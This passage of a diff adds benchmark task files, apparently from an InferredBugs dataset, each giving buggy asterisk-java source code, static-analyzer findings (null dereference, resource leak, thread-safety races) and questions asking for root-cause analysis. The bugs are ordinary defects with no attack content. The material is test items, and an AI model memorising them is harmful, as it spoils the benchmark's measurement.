+        // restarted
+        version = null;
+        versions = null;
+
+        // same for channels and queues, they are reinitialized when reconnected
+        channelManager.disconnected();
+        meetMeManager.disconnected();
+        queueManager.disconnected();
+    }
+
+    /*
+     * Requests the current state from the asterisk server after the connection
+     * to the asterisk server is restored.
+     */
+    private void handleConnectEvent(ConnectEvent connectEvent)
+    {
+        try
+        {
+            initialize();
+        }
+        catch (Exception e)
+        {
+            logger.error("Unable to reinitialize state after reconnection", e);
+        }
+    }
+    
+    private void handleOriginateEvent(AbstractOriginateEvent originateEvent)
+    {
+        final OriginateCallback cb;
+        final AsteriskChannelImpl channel;
+        final AsteriskChannelImpl otherChannel; // the other side if local channel
+
+        if (originateEvent.getActionId() == null)
+        {
+            return;
+        }
+
+        synchronized (originateCallbacks)
+        {
+            cb = originateCallbacks.get(originateEvent.getActionId());
+            if (cb == null)
+            {
+                return;
+            }
+            originateCallbacks.remove(originateEvent.getActionId());
+        }
+
+        channel = channelManager.getChannelImplById(originateEvent.getUniqueId());
+        if (channel == null)
+        {
+            cb.onFailure();
+            return;
+        }
+
+        if (channel.wasInState(ChannelState.UP))
+        {
+            cb.onSuccess(channel);
+            return;
+        }
+        
+        if (channel.wasInState(ChannelState.BUSY)
+                || channel.getHangupCause() == HangupCause.AST_CAUSE_BUSY
+                || channel.getHangupCause() == HangupCause.AST_CAUSE_USER_BUSY)
+        {
+            cb.onBusy(channel);
+            return;
+        }
+
+        otherChannel = channelManager.getOtherSideOfLocalChannel(channel);
+        // special treatment of local channels:
+        // the interesting things happen to the other side so we have a look at that
+        if (otherChannel != null)
+        {
+            final AsteriskChannel dialedChannel;
+
+            dialedChannel = otherChannel.getDialedChannel();
+
+            // on busy the other channel is in state busy when we receive the originate event
+            if (otherChannel.wasInState(ChannelState.BUSY)
+                    || otherChannel.getHangupCause() == HangupCause.AST_CAUSE_BUSY
+                    || otherChannel.getHangupCause() == HangupCause.AST_CAUSE_USER_BUSY)
+            {
+                cb.onBusy(channel);
+                return;
+            }
+
+            // alternative:
+            // on busy the dialed channel is hung up when we receive the originate event
+            // having a look at the hangup cause reveals the information we are interested in
+            // this alternative has the drawback that there might by multiple channels that have
+            // been dialed by the local channel but we only look at the last one.
+            if (dialedChannel != null &&
+                    (dialedChannel.wasInState(ChannelState.BUSY)
+                    || dialedChannel.getHangupCause() == HangupCause.AST_CAUSE_BUSY
+                    || dialedChannel.getHangupCause() == HangupCause.AST_CAUSE_USER_BUSY))
+            {
+                cb.onBusy(channel);
+                return;
+            }
+
+        }
+
+        // if nothing else matched we asume no answer
+        cb.onNoAnswer(channel);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `originateToApplication(...)` at line 251.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+AsteriskChannel AsteriskServerImpl.originateToApplication(String,String,String,long)
+
+### Procedure Id:
+org.asteriskjava.live.internal.AsteriskServerImpl.originateToApplication(java.lang.String,java.lang..bb70532535fdde045abd7b4a090f600f
+
+### File:
+src/main/java/org/asteriskjava/live/internal/AsteriskServerImpl.java
+
+### Key:
+AsteriskServerImpl.java|originateToApplication|NULL_DEREFERENCE
+
+### Node Key:
+a97e0275397352fc1812478c9489816b
+
+### Hash:
+6b8445d0e53d5cbc4339a29eddcccd28
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6269/instruction.md b/inferredbugs-6269/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b939eac4dd732d771b3e9f2ea5745bba93325f97
--- /dev/null
+++ b/inferredbugs-6269/instruction.md
@@ -0,0 +1,201 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** asterisk-java
+**Bug ID:** 44
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.asteriskjava.util.internal.streamreader;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.Socket;
+import java.net.UnknownHostException;
+import java.nio.charset.StandardCharsets;
+import java.util.NoSuchElementException;
+import java.util.Scanner;
+import java.util.regex.Pattern;
+
+import org.asteriskjava.util.internal.SocketConnectionFacadeImpl;
+import org.junit.Test;
+
+public class FastScannerSpeedTestOnSocket
+{
+
+    @Test
+    public void testScannerSpeed() throws Exception
+    {
+        try
+        {
+            for (int i = 10; i-- > 0;)
+            {
+
+                InputStreamReader reader = getReader();
+                System.out.print("Scanner " + i + ":\t");
+
+                long start = System.currentTimeMillis();
+                int ctr = 0;
+                try (Scanner scanner = new Scanner(reader);)
+                {
+
+                    scanner.useDelimiter(Pattern.compile("\r\n"));
+
+                    @SuppressWarnings("unused")
+                    String t;
+                    while ((t = scanner.next()) != null)
+                    {
+                        // System.out.println(t);
+                        ctr++;
+                    }
+                    System.out.print(ctr + "\t");
+                }
+                catch (NoSuchElementException e)
+                {
+                    System.out.print(ctr + "\t");
+                }
+                System.out.println((System.currentTimeMillis() - start) + " ms");
+            }
+        }
+        catch (Exception e)
+        {
+            System.out.println(
+                    "If you want to run FastScannerSpeedTestOnSocket, you'll need to run FastScannerTestSocketSource first");
+        }
+    }
+
+    private InputStreamReader getReader() throws UnknownHostException, IOException, InterruptedException
+    {
+
+        Socket echoSocket = new Socket("127.0.0.1", FastScannerTestSocketSource.portNumber);
+
+        InputStream inputStream = echoSocket.getInputStream();
+
+        InputStreamReader reader = new InputStreamReader(inputStream, StandardCharsets.UTF_8);
+        return reader;
+    }
+
+    @Test
+    public void test1() throws Exception
+    {
+        System.out.println("\nTesting fast CrNlStream");
+        fastScannerSpeedTest(SocketConnectionFacadeImpl.CRNL_PATTERN);
+    }
+
+    @Test
+    public void test2() throws Exception
+    {
+        /*
+         * the random test data generates quite a lot of /n which means we will
+         * get a LOT more lines when checking for /n
+         */
+        System.out.println("\nTesting fast NlStream");
+        fastScannerSpeedTest(SocketConnectionFacadeImpl.NL_PATTERN);
+    }
+
+    private void fastScannerSpeedTest(Pattern pattern) throws Exception
+    {
+        try
+        {
+            for (int i = 10; i-- > 0;)
+            {
+
+                InputStreamReader reader = getReader();
+                System.out.print("Fast " + i + ":\t");
+                FastScanner scanner = FastScannerFactory.getReader(reader, pattern);
+
+                long start = System.currentTimeMillis();
+                try
+                {
+                    int ctr = 0;
+                    @SuppressWarnings("unused")
+                    String t;
+                    while ((t = scanner.next()) != null)
+                    {
+                        // System.out.println(t);
+                        ctr++;
+                    }
+                    System.out.print(ctr + "\t");
+
+                }
+                catch (NoSuchElementException e)
+                {
+                }
+                System.out.println((System.currentTimeMillis() - start) + " ms");
+            }
+        }
+        catch (Exception e)
+        {
+            System.out.println(
+                    "If you want to run FastScannerSpeedTestOnSocket, you'll need to run FastScannerTestSocketSource first");
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired to `reader` by call to `getReader()` at line 96 is not released after line 98.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FastScannerSpeedTestOnSocket.fastScannerSpeedTest(Pattern)
+
+### Procedure Id:
+org.asteriskjava.util.internal.streamreader.FastScannerSpeedTestOnSocket.fastScannerSpeedTest(java.u.93df392956486b14a4337da46783b2c6
+
+### File:
+src/test/java/org/asteriskjava/util/internal/streamreader/FastScannerSpeedTestOnSocket.java
+
+### Key:
+FastScannerSpeedTestOnSocket.java|fastScannerSpeedTest|RESOURCE_LEAK
+
+### Node Key:
+29b78bcfc31c165ee0ec6f62e4d7b2fd
+
+### Hash:
+3f16083983cda8486b95cc2aef99b964
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6293/instruction.md b/inferredbugs-6293/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f0a55a75ec0f96db4136444e20faa24e868f831b
--- /dev/null
+++ b/inferredbugs-6293/instruction.md
@@ -0,0 +1,572 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** asterisk-java
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 2004-2006 Stefan Reuter
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ *
+ */
+package org.asteriskjava.live.internal;
+
+import java.io.IOException;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.asteriskjava.live.AsteriskChannel;
+import org.asteriskjava.live.AsteriskServer;
+import org.asteriskjava.live.AsteriskQueue;
+import org.asteriskjava.live.ManagerCommunicationException;
+import org.asteriskjava.live.MeetMeRoom;
+import org.asteriskjava.manager.AuthenticationFailedException;
+import org.asteriskjava.manager.ManagerConnection;
+import org.asteriskjava.manager.ManagerConnectionState;
+import org.asteriskjava.manager.ManagerEventListener;
+import org.asteriskjava.manager.ResponseEvents;
+import org.asteriskjava.manager.TimeoutException;
+import org.asteriskjava.manager.action.CommandAction;
+import org.asteriskjava.manager.action.EventGeneratingAction;
+import org.asteriskjava.manager.action.ManagerAction;
+import org.asteriskjava.manager.action.OriginateAction;
+import org.asteriskjava.manager.event.ConnectEvent;
+import org.asteriskjava.manager.event.DisconnectEvent;
+import org.asteriskjava.manager.event.HangupEvent;
+import org.asteriskjava.manager.event.JoinEvent;
+import org.asteriskjava.manager.event.LeaveEvent;
+import org.asteriskjava.manager.event.LinkEvent;
+import org.asteriskjava.manager.event.ManagerEvent;
+import org.asteriskjava.manager.event.MeetMeEvent;
+import org.asteriskjava.manager.event.NewCallerIdEvent;
+import org.asteriskjava.manager.event.NewChannelEvent;
+import org.asteriskjava.manager.event.NewExtenEvent;
+import org.asteriskjava.manager.event.NewStateEvent;
+import org.asteriskjava.manager.event.OriginateEvent;
+import org.asteriskjava.manager.event.RenameEvent;
+import org.asteriskjava.manager.event.ResponseEvent;
+import org.asteriskjava.manager.event.UnlinkEvent;
+import org.asteriskjava.manager.response.CommandResponse;
+import org.asteriskjava.manager.response.ManagerResponse;
+import org.asteriskjava.util.Log;
+import org.asteriskjava.util.LogFactory;
+
+/**
+ * Default implementation of the AsteriskManager interface.
+ * 
+ * @see org.asteriskjava.live.AsteriskServer
+ * @author srt
+ * @version $Id$
+ */
+public class AsteriskServerImpl
+        implements
+            AsteriskServer,
+            ManagerEventListener
+{
+    private static final Pattern SHOW_VERSION_FILES_PATTERN = Pattern
+            .compile("^([\\S]+)\\s+Revision: ([0-9\\.]+)");
+
+    private final Log logger = LogFactory.getLog(this.getClass());
+
+    /**
+     * The underlying manager connection used to receive events from Asterisk.
+     */
+    private ManagerConnection eventConnection;
+
+    /**
+     * A pool of manager connections to use for sending actions to Asterisk.
+     */
+    private final ManagerConnectionPool connectionPool;
+
+    private final ChannelManager channelManager;
+    private final MeetMeManager meetMeManager;
+    private final QueueManager queueManager;
+
+    /**
+     * The version of the Asterisk server we are connected to.<br>
+     * Contains <code>null</code> until lazily initialized.
+     */
+    private String version;
+
+    /**
+     * Holds the version of Asterisk's source files.<br>
+     * That corresponds to the output of the CLI command
+     * <code>show version files</code>.<br>
+     * Contains <code>null</code> until lazily initialized.
+     */
+    private Map<String, String> versions;
+
+    /**
+     * Flag to skip initializing queues as that results in a timeout on Asterisk
+     * 1.0.x.
+     */
+    private boolean skipQueues;
+
+    /**
+     * Creates a new instance.
+     */
+    public AsteriskServerImpl()
+    {
+        connectionPool = new ManagerConnectionPool(1);
+        channelManager = new ChannelManager(this);
+        meetMeManager = new MeetMeManager(this, channelManager);
+        queueManager = new QueueManager(this, channelManager);
+    }
+
+    /**
+     * Creates a new instance.
+     * 
+     * @param eventConnection the ManagerConnection to use for receiving events from Asterisk.
+     */
+    public AsteriskServerImpl(ManagerConnection eventConnection)
+    {
+        this();
+        this.eventConnection = eventConnection;
+        this.connectionPool.add(eventConnection);
+    }
+
+    /**
+     * Determines if queue status is retrieved at startup. If you don't need
+     * queue information and still run Asterisk 1.0.x you can set this to
+     * <code>true</code> to circumvent the startup delay caused by the missing
+     * QueueStatusComplete event.<br>
+     * Default is <code>false</code>.
+     * 
+     * @param skipQueues <code>true</code> to skip queue initialization,
+     *            <code>false</code> to not skip.
+     * @since 0.2
+     */
+    public void setSkipQueues(boolean skipQueues)
+    {
+        this.skipQueues = skipQueues;
+    }
+
+    public void setManagerConnection(ManagerConnection eventConnection)
+    {
+        this.eventConnection = eventConnection;
+        this.connectionPool.clear();
+        this.connectionPool.add(eventConnection);
+    }
+
+    public void initialize() throws AuthenticationFailedException, ManagerCommunicationException
+    {
+        if (eventConnection.getState() != ManagerConnectionState.CONNECTED)
+        {
+            try
+            {
+                eventConnection.login();
+            }
+            catch (IllegalStateException e)
+            {
+                throw new ManagerCommunicationException("Unable to login", e);
+            }
+            catch (IOException e)
+            {
+                throw new ManagerCommunicationException("Unable to login", e);
+            }
+            catch (TimeoutException e)
+            {
+                throw new ManagerCommunicationException("Unable to login", e);
+            }
+        }
+
+        channelManager.initialize();
+        meetMeManager.initialize();
+        if (!skipQueues)
+        {
+            queueManager.initialize();
+        }
+
+        eventConnection.addEventListener(this);
+    }
+
+    /* Implementation of the AsteriskManager interface */
+
+    public AsteriskChannel originateToExtension(String channel, String context, String exten, int priority, long timeout) throws ManagerCommunicationException
+    {
+        return originateToExtension(channel, context, exten, priority, timeout, null);
+    }
+
+    public AsteriskChannel originateToExtension(String channel, String context, String exten, int priority, long timeout, Map<String, String> variables) throws ManagerCommunicationException
+    {
+        OriginateAction originateAction;
+
+        originateAction = new OriginateAction();
+        originateAction.setChannel(channel);
+        originateAction.setContext(context);
+        originateAction.setExten(exten);
+        originateAction.setPriority(priority);
+        originateAction.setTimeout(timeout);
+        originateAction.setVariables(variables);
+
+        // must set async to true to receive OriginateEvents.
+        originateAction.setAsync(Boolean.TRUE);
+        
+        return originate(originateAction);
+    }
+
+    public AsteriskChannel originateToApplication(String channel, String application, String data, long timeout) throws ManagerCommunicationException
+    {
+        return originateToApplication(channel, application, data, timeout, null);
+    }
+
+    public AsteriskChannel originateToApplication(String channel, String application, String data, long timeout, Map<String, String> variables) throws ManagerCommunicationException
+    {
+        OriginateAction originateAction;
+
+        originateAction = new OriginateAction();
+        originateAction.setChannel(channel);
+        originateAction.setApplication(application);
+        originateAction.setData(data);
+        originateAction.setTimeout(timeout);
+        originateAction.setVariables(variables);
+        
+        // must set async to true to receive OriginateEvents.
+        originateAction.setAsync(Boolean.TRUE);
+        
+        return originate(originateAction);
+    }
+
+    private AsteriskChannel originate(OriginateAction originateAction) throws ManagerCommunicationException
+    {
+        ResponseEvents responseEvents;
+        Iterator<ResponseEvent> responseEventIterator;
+        
+        // 2000 ms extra for the OriginateFailureEvent should be fine
+        responseEvents = connectionPool.sendEventGeneratingAction(originateAction,
+                originateAction.getTimeout() + 2000);
+            
+        responseEventIterator = responseEvents.getEvents().iterator();
+        if (responseEventIterator.hasNext())
+        {
+            ResponseEvent responseEvent;
+            
+            responseEvent = responseEventIterator.next();
+            if (responseEvent instanceof OriginateEvent)
+            {
+                return getChannelById(((OriginateEvent) responseEvent).getUniqueId()); 
+            }
+        }
+
+        return null;
+    }
+
+    public Collection<AsteriskChannel> getChannels()
+    {
+        return channelManager.getChannels();
+    }
+
+    public AsteriskChannel getChannelByName(String name)
+    {
+        return channelManager.getChannelImplByName(name);
+    }
+
+    public AsteriskChannel getChannelById(String id)
+    {
+        return channelManager.getChannelImplById(id);
+    }
+
+    public Collection<MeetMeRoom> getMeetMeRooms()
+    {
+        return meetMeManager.getMeetMeRooms();
+    }
+
+    public Collection<AsteriskQueue> getQueues()
+    {
+        return queueManager.getQueues();
+    }
+
+    public String getVersion() throws ManagerCommunicationException
+    {
+        if (version == null)
+        {
+            ManagerResponse response;
+            response = connectionPool.sendAction(new CommandAction("show version"));
+            if (response instanceof CommandResponse)
+            {
+                List result;
+
+                result = ((CommandResponse) response).getResult();
+                if (result.size() > 0)
+                {
+                    version = (String) result.get(0);
+                }
+            }
+        }
+
+        return version;
+    }
+
+    public int[] getVersion(String file)
+    {
+        String fileVersion = null;
+        String[] parts;
+        int[] intParts;
+
+        if (versions == null)
+        {
+            Map<String, String> map;
+            ManagerResponse response;
+
+            map = new HashMap<String, String>();
+            try
+            {
+                response = eventConnection.sendAction(new CommandAction(
+                        "show version files"));
+                if (response instanceof CommandResponse)
+                {
+                    List<String> result;
+
+                    result = ((CommandResponse) response).getResult();
+                    for (int i = 2; i < result.size(); i++)
+                    {
+                        String line;
+                        Matcher matcher;
+
+                        line = (String) result.get(i);
+                        matcher = SHOW_VERSION_FILES_PATTERN.matcher(line);
+                        if (matcher.find())
+                        {
+                            String key = matcher.group(1);
+                            String value = matcher.group(2);
+
+                            map.put(key, value);
+                        }
+                    }
+
+                    fileVersion = (String) map.get(file);
+                    versions = map;
+                }
+            }
+            catch (Exception e)
+            {
+                logger.warn("Unable to send 'show version files' command.", e);
+            }
+        }
+        else
+        {
+            synchronized (versions)
+            {
+                fileVersion = versions.get(file);
+            }
+        }
+
+        if (fileVersion == null)
+        {
+            return null;
+        }
+
+        parts = fileVersion.split("\\.");
+        intParts = new int[parts.length];
+
+        for (int i = 0; i < parts.length; i++)
+        {
+            try
+            {
+                intParts[i] = Integer.parseInt(parts[i]);
+            }
+            catch (NumberFormatException e)
+            {
+                intParts[i] = 0;
+            }
+        }
+
+        return intParts;
+    }
+
+    ManagerResponse sendAction(ManagerAction action) throws ManagerCommunicationException
+    {
+        return connectionPool.sendAction(action);
+    }
+
+    ResponseEvents sendEventGeneratingAction(EventGeneratingAction action) throws ManagerCommunicationException
+    {
+        return connectionPool.sendEventGeneratingAction(action);
+    }
+
+    ResponseEvents sendEventGeneratingAction(EventGeneratingAction action, long timeout) throws ManagerCommunicationException
+    {
+        return connectionPool.sendEventGeneratingAction(action, timeout);
+    }
+
+    /* Implementation of the ManagerEventListener interface */
+
+    /**
+     * Handles all events received from the Asterisk server.<br>
+     * Events are queued until channels and queues are initialized and then
+     * delegated to the dispatchEvent method.
+     */
+    public void onManagerEvent(ManagerEvent event)
+    {
+        if (event instanceof ConnectEvent)
+        {
+            handleConnectEvent((ConnectEvent) event);
+        }
+        else if (event instanceof DisconnectEvent)
+        {
+            handleDisconnectEvent((DisconnectEvent) event);
+        }
+        else if (event instanceof NewChannelEvent)
+        {
+            channelManager.handleNewChannelEvent((NewChannelEvent) event);
+        }
+        else if (event instanceof NewExtenEvent)
+        {
+            channelManager.handleNewExtenEvent((NewExtenEvent) event);
+        }
+        else if (event instanceof NewStateEvent)
+        {
+            channelManager.handleNewStateEvent((NewStateEvent) event);
+        }
+        else if (event instanceof NewCallerIdEvent)
+        {
+            channelManager.handleNewCallerIdEvent((NewCallerIdEvent) event);
+        }
+        else if (event instanceof LinkEvent)
+        {
+            channelManager.handleLinkEvent((LinkEvent) event);
+        }
+        else if (event instanceof UnlinkEvent)
+        {
+            channelManager.handleUnlinkEvent((UnlinkEvent) event);
+        }
+        else if (event instanceof RenameEvent)
+        {
+            channelManager.handleRenameEvent((RenameEvent) event);
+        }
+        else if (event instanceof HangupEvent)
+        {
+            channelManager.handleHangupEvent((HangupEvent) event);
+        }
+        else if (event instanceof JoinEvent)
+        {
+            queueManager.handleJoinEvent((JoinEvent) event);
+        }
+        else if (event instanceof LeaveEvent)
+        {
+            queueManager.handleLeaveEvent((LeaveEvent) event);
+        }
+        else if (event instanceof MeetMeEvent)
+        {
+            meetMeManager.handleMeetMeEvent((MeetMeEvent) event);
+        }
+    }
+
+    /*
+     * Resets the internal state when the connection to the asterisk server is
+     * lost.
+     */
+    private void handleDisconnectEvent(DisconnectEvent disconnectEvent)
+    {
+        // reset version information as it might have changed while Asterisk
+        // restarted
+        version = null;
+        versions = null;
+
+        // same for channels and queues, they are reinitialized when reconnected
+        channelManager.disconnected();
+        meetMeManager.disconnected();
+        queueManager.disconnected();
+    }
+
+    /*
+     * Requests the current state from the asterisk server after the connection
+     * to the asterisk server is restored.
+     */
+    private void handleConnectEvent(ConnectEvent connectEvent)
+    {
+        try
+        {
+            initialize();
+        }
+        catch (Exception e)
+        {
+            logger.error("Unable to reinitialize state after reconnection", e);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.asteriskjava.live.internal.AsteriskServerImpl.getVersion` reads without synchronization from `this.org.asteriskjava.live.internal.AsteriskServerImpl.eventConnection`. Potentially races with write in method `AsteriskServerImpl.setManagerConnection(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int[] AsteriskServerImpl.getVersion(String)
+
+### Procedure Id:
+org.asteriskjava.live.internal.AsteriskServerImpl.getVersion(java.lang.String):int[].3b7cc4bc0ce767f3f077fe2ad3ef0afe
+
+### File:
+src/main/java/org/asteriskjava/live/internal/AsteriskServerImpl.java
+
+### Key:
+AsteriskServerImpl.java|getVersion|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+74455643e696cd27d6ac4ef76b0aba6f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6294/instruction.md b/inferredbugs-6294/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8a2f9b9d68a50f14e347bc4fa9871ba79833af4e
--- /dev/null
+++ b/inferredbugs-6294/instruction.md
@@ -0,0 +1,236 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** asterisk-java
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 2004-2006 Stefan Reuter
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ *
+ */
+package org.asteriskjava.live.internal;
+
+import org.asteriskjava.live.*;
+import org.asteriskjava.manager.response.ManagerResponse;
+import org.asteriskjava.manager.response.ManagerError;
+import org.asteriskjava.manager.action.QueuePenaltyAction;
+
+/**
+ * Default implementation of a queue member.
+ *
+ * @author <a href="mailto:patrick.breucking{@nospam}gonicus.de">Patrick Breucking</a>
+ * @version $Id$
+ * @see AsteriskQueueMember
+ * @since 0.3.1
+ */
+class AsteriskQueueMemberImpl extends AbstractLiveObject implements AsteriskQueueMember
+{
+    private AsteriskQueue queue;
+    private QueueMemberState state;
+    private String location;
+    private Integer penalty;
+    private boolean paused;
+    private String membership;
+
+    /**
+     * Creates a new queue member.
+     *
+     * @param server     server this channel belongs to.
+     * @param queue      queue this member is registered to.
+     * @param location   location of member.
+     * @param state      state of this member.
+     * @param paused     <code>true</code> if this member is currently paused, <code>false</code> otherwise.
+     * @param penalty    penalty of this member.
+     * @param membership "dynamic" if the added member is a dynamic queue member, "static"
+     *                   if the added member is a static queue member.
+     */
+    AsteriskQueueMemberImpl(final AsteriskServerImpl server,
+                            final AsteriskQueueImpl queue, String location,
+                            QueueMemberState state, boolean paused,
+                            Integer penalty, String membership)
+    {
+        super(server);
+        this.queue = queue;
+        this.location = location;
+        this.state = state;
+        this.penalty = penalty;
+        this.paused = paused;
+        this.membership = membership;
+    }
+
+    public AsteriskQueue getQueue()
+    {
+        return queue;
+    }
+
+    public String getLocation()
+    {
+        return location;
+    }
+
+    public QueueMemberState getState()
+    {
+        return state;
+    }
+
+    public boolean getPaused()
+    {
+        return paused;
+    }
+
+    public String getMembership()
+    {
+        return membership;
+    }
+
+    public boolean isStatic()
+    {
+        return membership != null && "static".equals(membership);
+    }
+
+    public boolean isDynamic()
+    {
+        return membership != null && "dynamic".equals(membership);
+    }
+
+    public Integer getPenalty()
+    {
+        return penalty;
+    }
+
+    public void setPenalty(int penalty) throws IllegalArgumentException, ManagerCommunicationException, InvalidPenaltyException
+    {
+        ManagerResponse response;
+
+        if (penalty < 0)
+        {
+            throw new IllegalArgumentException("Penalty must not be negative");
+        }
+
+        response = server.sendAction(new QueuePenaltyAction(location, penalty, queue.getName()));
+        if (response instanceof ManagerError)
+        {
+            throw new InvalidPenaltyException("Unable to set penalty for '" + location + "' on '" +
+                    queue.getName() + "': " + response.getMessage());
+        }
+    }
+
+    @Override
+    public String toString()
+    {
+        final StringBuffer sb;
+
+        sb = new StringBuffer("AsteriskQueueMember[");
+        sb.append("location='").append(location).append("'");
+        sb.append("state='").append(state).append("'");
+        sb.append("paused='").append(paused).append("'");
+        sb.append("membership='").append(membership).append("'");
+        sb.append("queue='").append(queue.getName()).append("'");
+        sb.append("systemHashcode=").append(System.identityHashCode(this));
+        sb.append("]");
+
+        return sb.toString();
+    }
+
+    synchronized void stateChanged(QueueMemberState state)
+    {
+        QueueMemberState oldState = this.state;
+        this.state = state;
+        firePropertyChange(PROPERTY_STATE, oldState, state);
+    }
+
+    synchronized void penaltyChanged(Integer penalty)
+    {
+        Integer oldPenalty = this.penalty;
+        this.penalty = penalty;
+        firePropertyChange(PROPERTY_PENALTY, oldPenalty, penalty);
+    }
+
+    synchronized void pausedChanged(boolean paused)
+    {
+        boolean oldPaused = this.paused;
+        this.paused = paused;
+        firePropertyChange(PROPERTY_PAUSED, oldPaused, paused);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.asteriskjava.live.internal.AsteriskQueueMemberImpl.getPaused` reads without synchronization from `this.org.asteriskjava.live.internal.AsteriskQueueMemberImpl.paused`. Potentially races with write in method `AsteriskQueueMemberImpl.pausedChanged(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean AsteriskQueueMemberImpl.getPaused()
+
+### Procedure Id:
+org.asteriskjava.live.internal.AsteriskQueueMemberImpl.getPaused():boolean.ff54d1acec17ba73f6c2a30a5dd99af0
+
+### File:
+src/main/java/org/asteriskjava/live/internal/AsteriskQueueMemberImpl.java
+
+### Key:
+AsteriskQueueMemberImpl.java|getPaused|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+0f77b14b2d262b61234a0e8e5397fe85
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
